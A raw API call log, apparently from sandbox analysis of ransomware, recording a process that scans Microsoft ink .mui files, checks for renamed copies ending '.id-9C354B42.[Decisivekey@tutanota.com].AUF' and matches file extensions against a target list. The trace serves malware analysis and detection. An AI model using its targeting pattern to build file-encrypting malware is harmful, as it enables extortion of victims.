1 [0218.916] CloseHandle (hObject=0x1d8) returned 1 [0218.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0218.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.916] lstrlenW (lpString=".doc") returned 4 [0218.916] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.917] lstrlenW (lpString=".docx") returned 5 [0218.917] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.917] lstrlenW (lpString=".pdf") returned 4 [0218.917] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString=".xls") returned 4 [0218.917] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString=".xlsx") returned 5 [0218.917] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.917] lstrlenW (lpString=".ppt") returned 4 [0218.917] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.917] lstrlenW (lpString=".zip") returned 4 [0218.917] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString=".rar") returned 4 [0218.917] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString=".bz2") returned 4 [0218.917] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.917] lstrlenW (lpString=".7z") returned 3 [0218.917] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.917] lstrlenW (lpString=".dbf") returned 4 [0218.917] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.917] lstrlenW (lpString=".1cd") returned 4 [0218.917] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.917] lstrlenW (lpString=".jpg") returned 4 [0218.917] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.917] lstrlenW (lpString=".doc") returned 4 [0218.917] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.917] lstrlenW (lpString=".docx") returned 5 [0218.917] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.917] lstrlenW (lpString=".pdf") returned 4 [0218.917] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString=".xls") returned 4 [0218.917] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString=".xlsx") returned 5 [0218.917] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.917] lstrlenW (lpString=".ppt") returned 4 [0218.917] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.917] lstrlenW (lpString=".zip") returned 4 [0218.917] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString=".rar") returned 4 [0218.917] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.917] lstrlenW (lpString=".bz2") returned 4 [0218.917] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.917] lstrlenW (lpString=".7z") returned 3 [0218.918] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.918] lstrlenW (lpString=".dbf") returned 4 [0218.918] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.918] lstrlenW (lpString=".1cd") returned 4 [0218.918] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0218.918] lstrlenW (lpString=".jpg") returned 4 [0218.918] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.918] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.918] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0218.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.919] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=2560) returned 1 [0218.919] CloseHandle (hObject=0x1d8) returned 1 [0218.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0218.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.919] lstrlenW (lpString=".doc") returned 4 [0218.919] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.919] lstrlenW (lpString=".docx") returned 5 [0218.919] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.919] lstrlenW (lpString=".pdf") returned 4 [0218.919] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.919] lstrlenW (lpString=".xls") returned 4 [0218.919] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.919] lstrlenW (lpString=".xlsx") returned 5 [0218.919] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.919] lstrlenW (lpString=".ppt") returned 4 [0218.919] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.919] lstrlenW (lpString=".zip") returned 4 [0218.919] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.919] lstrlenW (lpString=".rar") returned 4 [0218.919] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.919] lstrlenW (lpString=".bz2") returned 4 [0218.919] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.919] lstrlenW (lpString=".7z") returned 3 [0218.919] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.919] lstrlenW (lpString=".dbf") returned 4 [0218.919] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.919] lstrlenW (lpString=".1cd") returned 4 [0218.919] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.919] lstrlenW (lpString=".jpg") returned 4 [0218.919] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.919] lstrlenW (lpString=".doc") returned 4 [0218.920] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.920] lstrlenW (lpString=".docx") returned 5 [0218.920] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.920] lstrlenW (lpString=".pdf") returned 4 [0218.920] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.920] lstrlenW (lpString=".xls") returned 4 [0218.920] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.920] lstrlenW (lpString=".xlsx") returned 5 [0218.920] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.920] lstrlenW (lpString=".ppt") returned 4 [0218.920] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.920] lstrlenW (lpString=".zip") returned 4 [0218.920] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.920] lstrlenW (lpString=".rar") returned 4 [0218.920] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.920] lstrlenW (lpString=".bz2") returned 4 [0218.920] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.920] lstrlenW (lpString=".7z") returned 3 [0218.920] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.920] lstrlenW (lpString=".dbf") returned 4 [0218.920] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.920] lstrlenW (lpString=".1cd") returned 4 [0218.920] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0218.920] lstrlenW (lpString=".jpg") returned 4 [0218.920] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.920] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.920] lstrlenW (lpString="micaut.dll.mui") returned 14 [0218.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.922] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=8704) returned 1 [0218.922] CloseHandle (hObject=0x20c) returned 1 [0218.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0218.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.922] lstrlenW (lpString=".doc") returned 4 [0218.922] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.922] lstrlenW (lpString=".docx") returned 5 [0218.922] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.922] lstrlenW (lpString=".pdf") returned 4 [0218.922] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.922] lstrlenW (lpString=".xls") returned 4 [0218.922] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.922] lstrlenW (lpString=".xlsx") returned 5 [0218.922] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.922] lstrlenW (lpString=".ppt") returned 4 [0218.922] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.922] lstrlenW (lpString=".zip") returned 4 [0218.923] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.923] lstrlenW (lpString=".rar") returned 4 [0218.923] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.923] lstrlenW (lpString=".bz2") returned 4 [0218.923] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.923] lstrlenW (lpString=".7z") returned 3 [0218.923] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.923] lstrlenW (lpString=".dbf") returned 4 [0218.923] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.923] lstrlenW (lpString=".1cd") returned 4 [0218.923] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.923] lstrlenW (lpString=".jpg") returned 4 [0218.923] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.923] lstrlenW (lpString=".doc") returned 4 [0218.923] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.923] lstrlenW (lpString=".docx") returned 5 [0218.923] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.923] lstrlenW (lpString=".pdf") returned 4 [0218.923] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.923] lstrlenW (lpString=".xls") returned 4 [0218.923] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.923] lstrlenW (lpString=".xlsx") returned 5 [0218.923] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.923] lstrlenW (lpString=".ppt") returned 4 [0218.923] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.923] lstrlenW (lpString=".zip") returned 4 [0218.923] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.924] lstrlenW (lpString=".rar") returned 4 [0218.924] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.924] lstrlenW (lpString=".bz2") returned 4 [0218.924] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.924] lstrlenW (lpString=".7z") returned 3 [0218.924] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.924] lstrlenW (lpString=".dbf") returned 4 [0218.924] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.924] lstrlenW (lpString=".1cd") returned 4 [0218.924] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0218.924] lstrlenW (lpString=".jpg") returned 4 [0218.924] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.924] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.924] lstrlenW (lpString="mip.exe.mui") returned 11 [0218.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.924] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=10240) returned 1 [0218.924] CloseHandle (hObject=0x20c) returned 1 [0218.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0218.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.925] lstrlenW (lpString=".doc") returned 4 [0218.925] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.925] lstrlenW (lpString=".docx") returned 5 [0218.925] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0218.925] lstrlenW (lpString=".pdf") returned 4 [0218.925] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.925] lstrlenW (lpString=".xls") returned 4 [0218.925] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.925] lstrlenW (lpString=".xlsx") returned 5 [0218.925] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0218.925] lstrlenW (lpString=".ppt") returned 4 [0218.925] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.925] lstrlenW (lpString=".zip") returned 4 [0218.925] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.925] lstrlenW (lpString=".rar") returned 4 [0218.925] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.925] lstrlenW (lpString=".bz2") returned 4 [0218.925] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.925] lstrlenW (lpString=".7z") returned 3 [0218.925] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.925] lstrlenW (lpString=".dbf") returned 4 [0218.925] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.925] lstrlenW (lpString=".1cd") returned 4 [0218.925] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.925] lstrlenW (lpString=".jpg") returned 4 [0218.925] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.925] lstrlenW (lpString=".doc") returned 4 [0218.925] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.925] lstrlenW (lpString=".docx") returned 5 [0218.925] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0218.925] lstrlenW (lpString=".pdf") returned 4 [0218.925] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.925] lstrlenW (lpString=".xls") returned 4 [0218.926] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.926] lstrlenW (lpString=".xlsx") returned 5 [0218.926] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0218.926] lstrlenW (lpString=".ppt") returned 4 [0218.926] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.926] lstrlenW (lpString=".zip") returned 4 [0218.926] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.926] lstrlenW (lpString=".rar") returned 4 [0218.926] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.926] lstrlenW (lpString=".bz2") returned 4 [0218.926] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.926] lstrlenW (lpString=".7z") returned 3 [0218.926] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.926] lstrlenW (lpString=".dbf") returned 4 [0218.926] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.926] lstrlenW (lpString=".1cd") returned 4 [0218.926] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0218.926] lstrlenW (lpString=".jpg") returned 4 [0218.926] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.926] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.926] lstrlenW (lpString="mshwLatin.dll.mui") returned 17 [0218.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.939] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=2560) returned 1 [0218.939] CloseHandle (hObject=0x1d8) returned 1 [0218.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0218.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.939] lstrlenW (lpString=".doc") returned 4 [0218.939] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.939] lstrlenW (lpString=".docx") returned 5 [0218.939] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.939] lstrlenW (lpString=".pdf") returned 4 [0218.939] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.939] lstrlenW (lpString=".xls") returned 4 [0218.940] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString=".xlsx") returned 5 [0218.940] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.940] lstrlenW (lpString=".ppt") returned 4 [0218.940] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.940] lstrlenW (lpString=".zip") returned 4 [0218.940] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString=".rar") returned 4 